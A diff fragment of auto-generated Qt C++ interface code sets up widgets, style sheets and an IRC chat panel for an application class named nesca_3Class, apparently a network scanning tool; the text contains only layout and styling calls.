graphicLog_Upper->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicLog_Upper->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_Upper->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_Upper->setRenderHints(QPainter::TextAntialiasing); + graphicLog_Upper->setCacheMode(QGraphicsView::CacheNone); + labelBadAddr = new QLabel(widget); + labelBadAddr->setObjectName(QStringLiteral("labelBadAddr")); + labelBadAddr->setGeometry(QRect(19, 405, 73, 20)); + sizePolicy.setHeightForWidth(labelBadAddr->sizePolicy().hasHeightForWidth()); + labelBadAddr->setSizePolicy(sizePolicy); + labelBadAddr->setMinimumSize(QSize(0, 0)); + labelBadAddr->setFont(font3); + labelBadAddr->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelBadAddr->setLineWidth(1); + labelBadAddr->setWordWrap(false); + labelOffline_Value = new QLabel(widget); + labelOffline_Value->setObjectName(QStringLiteral("labelOffline_Value")); + labelOffline_Value->setGeometry(QRect(100, 405, 71, 20)); + labelOffline_Value->setFont(font3); + labelOffline_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + BAText = new QTextBrowser(widget); + BAText->setObjectName(QStringLiteral("BAText")); + BAText->setGeometry(QRect(20, 445, 453, 326)); + BAText->setFont(font1); + BAText->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;")); + BAText->setLocale(QLocale(QLocale::Chinese, QLocale::China)); + BAText->setFrameShape(QFrame::NoFrame); + BAText->setFrameShadow(QFrame::Plain); + BAText->setUndoRedoEnabled(false); + BAText->setReadOnly(true); + BAText->setCursorWidth(5); + BAText->setTextInteractionFlags(Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse); + BAText->setOpenExternalLinks(true); + switcherBut = new QPushButton(widget); + switcherBut->setObjectName(QStringLiteral("switcherBut")); + switcherBut->setGeometry(QRect(480, 500, 16, 205)); + switcherBut->setStyleSheet(QLatin1String("border: 1px solid rgb(216, 216, 216);\n" +"color: rgb(216, 216, 216);\n" +"background-color: #000000;")); + labelTracker = new QLabel(widget); + labelTracker->setObjectName(QStringLiteral("labelTracker")); + labelTracker->setGeometry(QRect(200, 783, 45, 10)); + sizePolicy.setHeightForWidth(labelTracker->sizePolicy().hasHeightForWidth()); + labelTracker->setSizePolicy(sizePolicy); + labelTracker->setMinimumSize(QSize(0, 0)); + labelTracker->setFont(font3); + labelTracker->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelTracker->setLineWidth(1); + labelTracker->setWordWrap(false); + graphicActivityGrid = new QGraphicsView(widget); + graphicActivityGrid->setObjectName(QStringLiteral("graphicActivityGrid")); + graphicActivityGrid->setGeometry(QRect(373, 780, 100, 16)); + graphicActivityGrid->setStyleSheet(QStringLiteral("border:1px solid white;background-color: rgba(26, 26,26, 0);")); + graphicActivityGrid->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivityGrid->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivityGrid->setRenderHints(QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing); + graphicActivityGrid->setCacheMode(QGraphicsView::CacheNone); + graphicActivity = new QGraphicsView(widget); + graphicActivity->setObjectName(QStringLiteral("graphicActivity")); + graphicActivity->setGeometry(QRect(373, 780, 100, 16)); + graphicActivity->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicActivity->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivity->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicActivity->setRenderHints(QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing); + graphicActivity->setCacheMode(QGraphicsView::CacheNone); + graphicTextPlacer = new QGraphicsView(widget); + graphicTextPlacer->setObjectName(QStringLiteral("graphicTextPlacer")); + graphicTextPlacer->setGeometry(QRect(162, 265, 328, 181)); + graphicTextPlacer->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicTextPlacer->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicTextPlacer->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicTextPlacer->setRenderHints(QPainter::HighQualityAntialiasing); + graphicTextPlacer->setCacheMode(QGraphicsView::CacheNone); + VoiceScanBut = new QPushButton(widget); + VoiceScanBut->setObjectName(QStringLiteral("VoiceScanBut")); + VoiceScanBut->setGeometry(QRect(342, 253, 60, 10)); + VoiceScanBut->setFont(font9); + VoiceScanBut->setStyleSheet(QStringLiteral("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);")); + graphicsVoice = new QGraphicsView(widget); + graphicsVoice->setObjectName(QStringLiteral("graphicsVoice")); + graphicsVoice->setGeometry(QRect(220, 265, 270, 100)); + graphicsVoice->setStyleSheet(QStringLiteral("border:1px white solid;background-color: rgba(26, 26,26, 0);")); + graphicsVoice->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicsVoice->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicsVoice->setRenderHints(QPainter::TextAntialiasing); + graphicsVoice->setCacheMode(QGraphicsView::CacheNone); + clearLogBut = new QPushButton(widget); + clearLogBut->setObjectName(QStringLiteral("clearLogBut")); + clearLogBut->setGeometry(QRect(475, 445, 16, 21)); + clearLogBut->setFont(font9); + clearLogBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + secretMessageBut_1 = new QPushButton(widget); + secretMessageBut_1->setObjectName(QStringLiteral("secretMessageBut_1")); + secretMessageBut_1->setGeometry(QRect(415, 0, 5, 8)); + secretMessageBut_1->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_2 = new QPushButton(widget); + secretMessageBut_2->setObjectName(QStringLiteral("secretMessageBut_2")); + secretMessageBut_2->setGeometry(QRect(420, 0, 5, 8)); + secretMessageBut_2->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_3 = new QPushButton(widget); + secretMessageBut_3->setObjectName(QStringLiteral("secretMessageBut_3")); + secretMessageBut_3->setGeometry(QRect(425, 0, 5, 8)); + secretMessageBut_3->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_4 = new QPushButton(widget); + secretMessageBut_4->setObjectName(QStringLiteral("secretMessageBut_4")); + secretMessageBut_4->setGeometry(QRect(430, 0, 5, 8)); + secretMessageBut_4->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_5 = new QPushButton(widget); + secretMessageBut_5->setObjectName(QStringLiteral("secretMessageBut_5")); + secretMessageBut_5->setGeometry(QRect(435, 0, 5, 8)); + secretMessageBut_5->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_6 = new QPushButton(widget); + secretMessageBut_6->setObjectName(QStringLiteral("secretMessageBut_6")); + secretMessageBut_6->setGeometry(QRect(440, 0, 5, 8)); + secretMessageBut_6->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_7 = new QPushButton(widget); + secretMessageBut_7->setObjectName(QStringLiteral("secretMessageBut_7")); + secretMessageBut_7->setGeometry(QRect(445, 0, 5, 8)); + secretMessageBut_7->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + secretMessageBut_8 = new QPushButton(widget); + secretMessageBut_8->setObjectName(QStringLiteral("secretMessageBut_8")); + secretMessageBut_8->setGeometry(QRect(450, 0, 5, 8)); + secretMessageBut_8->setStyleSheet(QStringLiteral("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))")); + newMessageLabel = new QLabel(widget); + newMessageLabel->setObjectName(QStringLiteral("newMessageLabel")); + newMessageLabel->setGeometry(QRect(265, 53, 70, 10)); + sizePolicy.setHeightForWidth(newMessageLabel->sizePolicy().hasHeightForWidth()); + newMessageLabel->setSizePolicy(sizePolicy); + newMessageLabel->setMinimumSize(QSize(0, 0)); + newMessageLabel->setFont(font3); + newMessageLabel->setStyleSheet(QStringLiteral("color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);")); + newMessageLabel->setLineWidth(1); + newMessageLabel->setWordWrap(false); + PieStatBut = new QPushButton(widget); + PieStatBut->setObjectName(QStringLiteral("PieStatBut")); + PieStatBut->setGeometry(QRect(403, 253, 60, 10)); + PieStatBut->setFont(font9); + PieStatBut->setStyleSheet(QStringLiteral("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);")); + trayButton = new QPushButton(widget); + trayButton->setObjectName(QStringLiteral("trayButton")); + trayButton->setGeometry(QRect(455, 10, 10, 20)); + trayButton->setStyleSheet(QStringLiteral("background-color: rgba(0, 0, 0, 0);")); + DredLabel = new QLabel(widget); + DredLabel->setObjectName(QStringLiteral("DredLabel")); + DredLabel->setGeometry(QRect(235, 417, 8, 5)); + DredLabel->setStyleSheet(QStringLiteral("background-color: rgb(85, 0, 0);")); + labelSSH = new QLabel(widget); + labelSSH->setObjectName(QStringLiteral("labelSSH")); + labelSSH->setGeometry(QRect(250, 415, 61, 8)); + labelSSH->setFont(font4); + labelSSH->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + rVerLabel = new QLabel(widget); + rVerLabel->setObjectName(QStringLiteral("rVerLabel")); + rVerLabel->setEnabled(true); + rVerLabel->setGeometry(QRect(36, 15, 86, 10)); + sizePolicy.setHeightForWidth(rVerLabel->sizePolicy().hasHeightForWidth()); + rVerLabel->setSizePolicy(sizePolicy); + rVerLabel->setMinimumSize(QSize(0, 0)); + rVerLabel->setFont(font3); + rVerLabel->setStyleSheet(QStringLiteral("color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);")); + rVerLabel->setLineWidth(1); + rVerLabel->setWordWrap(false); + NSTrackStatusLabel = new QLabel(widget); + NSTrackStatusLabel->setObjectName(QStringLiteral("NSTrackStatusLabel")); + NSTrackStatusLabel->setEnabled(true); + NSTrackStatusLabel->setGeometry(QRect(249, 785, 8, 8)); + NSTrackStatusLabel->setStyleSheet(QStringLiteral("background-color: black; border: 1px solid white;")); + graphicTextPlacer->raise(); + BAText->raise(); + labelNesca_3->raise(); + tabMainWidget->raise(); + line->raise(); + exitButton->raise(); + labelIpRange->raise(); + labelThreads->raise(); + labelBaThreads->raise(); + labelIpRange_Value->raise(); + labelThreads_Value->raise(); + labelBAThreads_Value->raise(); + labelIPS->raise(); + labelIPS_Value->raise(); + dataText->raise(); + labelParsed->raise(); + labelParsed_Value->raise(); + labelStatus->raise(); + labelStatus_Value->raise(); + labelTargetsLeft->raise(); + labelTargetsLeft_Value->raise(); + line_2->raise(); + RedLabel->raise(); + YellowLabel->raise(); + GreenLabel->raise(); + BlueLabel->raise(); + CyanLabel->raise(); + PinkLabel->raise(); + labelAnomaly->raise(); + labelBA->raise(); + labelFiltered->raise(); + labelBads->raise(); + labelOverloads->raise(); + labelLowloads->raise(); + graphicLog->raise(); + logoLabel->raise(); + WhiteLabel->raise(); + labelAlives->raise(); + me2ScanBut->raise(); + QoSScanBut->raise(); + graphicDelim->raise(); + graphicLog_2->raise(); + graphicLog_Upper->raise(); + labelBadAddr->raise(); + labelOffline_Value->raise(); + switcherBut->raise(); + labelTracker->raise(); + graphicActivityGrid->raise(); + graphicActivity->raise(); + VoiceScanBut->raise(); + graphicsVoice->raise(); + clearLogBut->raise(); + secretMessageBut_1->raise(); + secretMessageBut_2->raise(); + secretMessageBut_3->raise(); + secretMessageBut_4->raise(); + secretMessageBut_5->raise(); + secretMessageBut_6->raise(); + secretMessageBut_7->raise(); + secretMessageBut_8->raise(); + newMessageLabel->raise(); + PieStatBut->raise(); + trayButton->raise(); + DredLabel->raise(); + labelSSH->raise(); + rVerLabel->raise(); + NSTrackStatusLabel->raise(); + widgetIRC = new QWidget(centralWidget); + widgetIRC->setObjectName(QStringLiteral("widgetIRC")); + widgetIRC->setGeometry(QRect(500, 44, 498, 730)); + QPalette palette; + QLinearGradient gradient(0.541, 0.500364, 0.54, 0); + gradient.setSpread(QGradient::PadSpread); + gradient.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient.setColorAt(0, QColor(16, 16, 16, 255)); + gradient.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush(gradient); + palette.setBrush(QPalette::Active, QPalette::Button, brush); + QLinearGradient gradient1(0.541, 0.500364, 0.54, 0); + gradient1.setSpread(QGradient::PadSpread); + gradient1.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient1.setColorAt(0, QColor(16, 16, 16, 255)); + gradient1.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush1(gradient1); + palette.setBrush(QPalette::Active, QPalette::Base, brush1); + QLinearGradient gradient2(0.541, 0.500364, 0.54, 0); + gradient2.setSpread(QGradient::PadSpread); + gradient2.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient2.setColorAt(0, QColor(16, 16, 16, 255)); + gradient2.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush2(gradient2); + palette.setBrush(QPalette::Active, QPalette::Window, brush2); + QLinearGradient gradient3(0.541, 0.500364, 0.54, 0); + gradient3.setSpread(QGradient::PadSpread); + gradient3.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient3.setColorAt(0, QColor(16, 16, 16, 255)); + gradient3.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush3(gradient3); + palette.setBrush(QPalette::Inactive, QPalette::Button, brush3); + QLinearGradient gradient4(0.541, 0.500364, 0.54, 0); + gradient4.setSpread(QGradient::PadSpread); + gradient4.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient4.setColorAt(0, QColor(16, 16, 16, 255)); + gradient4.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush4(gradient4); + palette.setBrush(QPalette::Inactive, QPalette::Base, brush4); + QLinearGradient gradient5(0.541, 0.500364, 0.54, 0); + gradient5.setSpread(QGradient::PadSpread); + gradient5.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient5.setColorAt(0, QColor(16, 16, 16, 255)); + gradient5.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush5(gradient5); + palette.setBrush(QPalette::Inactive, QPalette::Window, brush5); + QLinearGradient gradient6(0.541, 0.500364, 0.54, 0); + gradient6.setSpread(QGradient::PadSpread); + gradient6.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient6.setColorAt(0, QColor(16, 16, 16, 255)); + gradient6.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush6(gradient6); + palette.setBrush(QPalette::Disabled, QPalette::Button, brush6); + QLinearGradient gradient7(0.541, 0.500364, 0.54, 0); + gradient7.setSpread(QGradient::PadSpread); + gradient7.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient7.setColorAt(0, QColor(16, 16, 16, 255)); + gradient7.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush7(gradient7); + palette.setBrush(QPalette::Disabled, QPalette::Base, brush7); + QLinearGradient gradient8(0.541, 0.500364, 0.54, 0); + gradient8.setSpread(QGradient::PadSpread); + gradient8.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient8.setColorAt(0, QColor(16, 16, 16, 255)); + gradient8.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush8(gradient8); + palette.setBrush(QPalette::Disabled, QPalette::Window, brush8); + widgetIRC->setPalette(palette); + widgetIRC->setStyleSheet(QStringLiteral("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));")); + ircServerBox = new QLineEdit(widgetIRC); + ircServerBox->setObjectName(QStringLiteral("ircServerBox")); + ircServerBox->setGeometry(QRect(83, 30, 163, 20)); + ircServerBox->setFont(font1); + ircServerBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircServerBox->setMaxLength(128); + ircServerBox->setAlignment(Qt::AlignCenter); + shoutBox = new QLineEdit(widgetIRC); + shoutBox->setObjectName(QStringLiteral("shoutBox")); + shoutBox->setGeometry(QRect(10, 705, 469, 20)); + shoutBox->setFont(font1); + shoutBox->setStyleSheet(QStringLiteral("color:rgb(124, 124, 124);background-color: rgb(36, 36, 36);border:1px solid rgb(226, 226, 226);")); + shoutBox->setMaxLength(256); + shoutBox->setAlignment(Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter); + serverPortBox = new QLineEdit(widgetIRC); + serverPortBox->setObjectName(QStringLiteral("serverPortBox")); + serverPortBox->setGeometry(QRect(250, 30, 82, 20)); + serverPortBox->setFont(font1); + serverPortBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + serverPortBox->setMaxLength(5); + serverPortBox->setAlignment(Qt::AlignCenter); + ircNickBox = new QLineEdit(widgetIRC); + ircNickBox->setObjectName(QStringLiteral("ircNickBox")); + ircNickBox->setGeometry(QRect(369, 30, 117, 20)); + ircNickBox->setFont(font1); + ircNickBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircNickBox->setMaxLength(16); + ircNickBox->setAlignment(Qt::AlignCenter); + IRCConnectBut = new QPushButton(widgetIRC); + IRCConnectBut->setObjectName(QStringLiteral("IRCConnectBut")); + IRCConnectBut->setGeometry(QRect(220, 85, 75, 23)); + IRCConnectBut->setFont(font1); + IRCConnectBut->setStyleSheet(QStringLiteral("")); + ircText = new QTextBrowser(widgetIRC); + ircText->setObjectName(QStringLiteral("ircText")); + ircText->setGeometry(QRect(10, 140, 469, 556)); + ircText->setFont(font1); + ircText->setStyleSheet(QStringLiteral("color: #AFAFAF;background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);")); + ircText->setLocale(QLocale(QLocale::Chinese, QLocale::China)); + ircText->setFrameShape(QFrame::NoFrame); + ircText->setFrameShadow(QFrame::Plain); + ircText->setUndoRedoEnabled(false); + ircText->setReadOnly(true); + ircText->setAcceptRichText(true); + ircText->setCursorWidth(5); + ircText->setTextInteractionFlags(Qt::TextBrowserInteraction); + ircText->setOpenExternalLinks(true); + ircText->setOpenLinks(false); + ircProxy = new QLineEdit(widgetIRC); + ircProxy->setObjectName(QStringLiteral("ircProxy")); + ircProxy->setGeometry(QRect(83, 55, 163, 20)); + ircProxy->setFont(font1); + ircProxy->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircProxy->setMaxLength(128); + ircProxy->setAlignment(Qt::AlignCenter); + ircProxyPort = new QLineEdit(widgetIRC); + ircProxyPort->setObjectName(QStringLiteral("ircProxyPort")); + ircProxyPort->setGeometry(QRect(250, 55, 82, 20)); + ircProxyPort->setFont(font1); + ircProxyPort->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircProxyPort->setMaxLength(5); + ircProxyPort->setAlignment(Qt::AlignCenter); + IRCCheckProxyBut = new QPushButton(widgetIRC); + IRCCheckProxyBut->setObjectName(QStringLiteral("IRCCheckProxyBut")); + IRCCheckProxyBut->setGeometry(QRect(337, 55, 149, 20)); + IRCCheckProxyBut->setFont(font1); + IRCCheckProxyBut->setStyleSheet(QStringLiteral("")); + ircRaw = new QTextBrowser(widgetIRC); + ircRaw->setObjectName(QStringLiteral("ircRaw")); + ircRaw->setGeometry(QRect(10, 140, 469, 556)); + ircRaw->setFont(font1); + ircRaw->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:rgb(125, 125, 125);")); + ircRaw->setLocale(QLocale(QLocale::Chinese, QLocale::China)); + ircRaw->setFrameShape(QFrame::NoFrame); + ircRaw->setFrameShadow(QFrame::Plain); + ircRaw->setUndoRedoEnabled(false); + ircRaw->setReadOnly(true); + ircRaw->setAcceptRichText(true); + ircRaw->setCursorWidth(5); + ircRaw->setTextInteractionFlags(Qt::TextBrowserInteraction); + ircRaw->setOpenExternalLinks(true); + ircRaw->setOpenLinks(false); + nickShowBut = new QPushButton(widgetIRC); + nickShowBut->setObjectName(QStringLiteral("nickShowBut")); + nickShowBut->setGeometry(QRect(481, 140, 16, 556)); + nickShowBut->setStyleSheet(QLatin1String("border: 1px solid rgb(216, 216, 216);\n" +"color: rgb(216, 216, 216);\n" +"background-color: #000000;")); + nickShowBut->setText(QStringLiteral("<")); + nickList = new QListWidget(widgetIRC); + nickList->setObjectName(QStringLiteral("nickList")); + nickList->setGeometry(QRect(329, 145, 147, 0)); + nickList->setStyleSheet(QLatin1String("background-color: rgba(0, 0, 0, 0.5);\n" +"color: rgb(212, 212, 212);")); + nickList->setFrameShape(QFrame::Panel); + nickList->setFrameShadow(QFrame::Plain); + nickList->setResizeMode(QListView::Adjust); + nickList->setSortingEnabled(true); + topicLine = new QLineEdit(widgetIRC); + topicLine->setObjectName(QStringLiteral("topicLine")); + topicLine->setGeometry(QRect(44, 115, 435, 20)); + topicLine->setFont(font9); + topicLine->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:orange;")); + topicLine->setMaxLength(256); + IRCUTFMode = new QPushButton(widgetIRC); + IRCUTFMode->setObjectName(QStringLiteral("IRCUTFMode")); + IRCUTFMode->setGeometry(QRect(440, 80, 48, 12)); + IRCUTFMode->setFont(font1); + IRCUTFMode->setStyleSheet(QLatin1String("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);\n" +"color: rgb(0, 214, 0);")); + IRCCP1251Mode = new QPushButton(widgetIRC); + IRCCP1251Mode->setObjectName(QStringLiteral("IRCCP1251Mode")); + IRCCP1251Mode->setGeometry(QRect(392, 80, 48, 12)); + IRCCP1251Mode->setFont(font1); + IRCCP1251Mode->setStyleSheet(QLatin1String("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);\n" +"color: rgb(71, 71, 71);")); + labelIPRange_2 = new QLabel(widgetIRC); + labelIPRange_2->setObjectName(QStringLiteral("labelIPRange_2")); + labelIPRange_2->setGeometry(QRect(20, 30, 56, 20)); + labelIPRange_2->setFont(font4); + labelIPRange_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPRange_3 = new QLabel(widgetIRC); + labelIPRange_3->setObjectName(QStringLiteral("labelIPRange_3")); + labelIPRange_3->setGeometry(QRect(10, 55, 68, 20)); + labelIPRange_3->setFont(font4); + labelIPRange_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPRange_4 = new QLabel(widgetIRC); + labelIPRange_4->setObjectName(QStringLiteral("labelIPRange_4")); + labelIPRange_4->setGeometry(QRect(340, 30, 27, 20)); + labelIPRange_4->setFont(font4); + labelIPRange_4->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPRange_5 = new QLabel(widgetIRC); + labelIPRange_5->setObjectName(QStringLiteral("labelIPRange_5")); + labelIPRange_5->setGeometry(QRect(10, 115, 31, 20)); + labelIPRange_5->setFont(font4); + labelIPRange_5->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + nickList->raise(); + ircRaw->raise(); + ircServerBox->raise(); + shoutBox->raise(); + serverPortBox->raise(); + ircNickBox->raise(); + IRCConnectBut->raise(); + ircText->raise(); + ircProxy->raise(); + ircProxyPort->raise(); + IRCCheckProxyBut->raise(); + nickShowBut->raise(); + topicLine->raise(); + IRCUTFMode->raise(); + IRCCP1251Mode->raise(); + labelIPRange_2->raise(); + labelIPRange_3->raise(); + labelIPRange_4->raise(); + labelIPRange_5->raise(); + widgetJOB = new QWidget(centralWidget); + widgetJOB->setObjectName(QStringLiteral("widgetJOB")); + widgetJOB->setGeometry(QRect(500, 44, 498, 730)); + widgetJOB->setStyleSheet(QStringLiteral("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));")); + jobRangeVisual = new QGraphicsView(widgetJOB); + jobRangeVisual->setObjectName(QStringLiteral("jobRangeVisual")); + jobRangeVisual->setGeometry(QRect(10, 30, 480, 41)); + jobRangeVisual->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + jobRangeVisual->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + jobIPContractsTable = new QTableWidget(widgetJOB); + jobIPContractsTable->setObjectName(QStringLiteral("jobIPContractsTable")); + jobIPContractsTable->setGeometry(QRect(10, 105, 480, 296)); + jobIPWantedTable = new QTableWidget(widgetJOB); + jobIPWantedTable->setObjectName(QStringLiteral("jobIPWantedTable")); + jobIPWantedTable->setGeometry(QRect(10, 425, 480, 296)); + DataflowModeBut = new QPushButton(centralWidget); + DataflowModeBut->setObjectName(QStringLiteral("DataflowModeBut")); + DataflowModeBut->setGeometry(QRect(440, 50, 48, 16)); + DataflowModeBut->setFont(font3); + DataflowModeBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + IRCModeBut = new QPushButton(centralWidget); + IRCModeBut->setObjectName(QStringLiteral("IRCModeBut")); + IRCModeBut->setGeometry(QRect(340, 50, 48, 16)); + IRCModeBut->setFont(font3); + IRCModeBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + JobModeBut = new QPushButton(centralWidget); + JobModeBut->setObjectName(QStringLiteral("JobModeBut")); + JobModeBut->setGeometry(QRect(390, 50, 48, 16)); + JobModeBut->setFont(font3); + JobModeBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + IRCModeChangerBut = new QPushButton(centralWidget); + IRCModeChangerBut->setObjectName(QStringLiteral("IRCModeChangerBut")); + IRCModeChangerBut->setEnabled(true); + IRCModeChangerBut->setGeometry(QRect(290, 50, 48, 16)); + IRCModeChangerBut->setFont(font3); + IRCModeChangerBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + nesca_3Class->setCentralWidget(centralWidget); + widget->raise(); + widgetJOB->raise(); + widgetIRC->raise(); + IRCModeChangerBut->raise(); + IRCModeBut->raise(); + JobModeBut->raise(); + 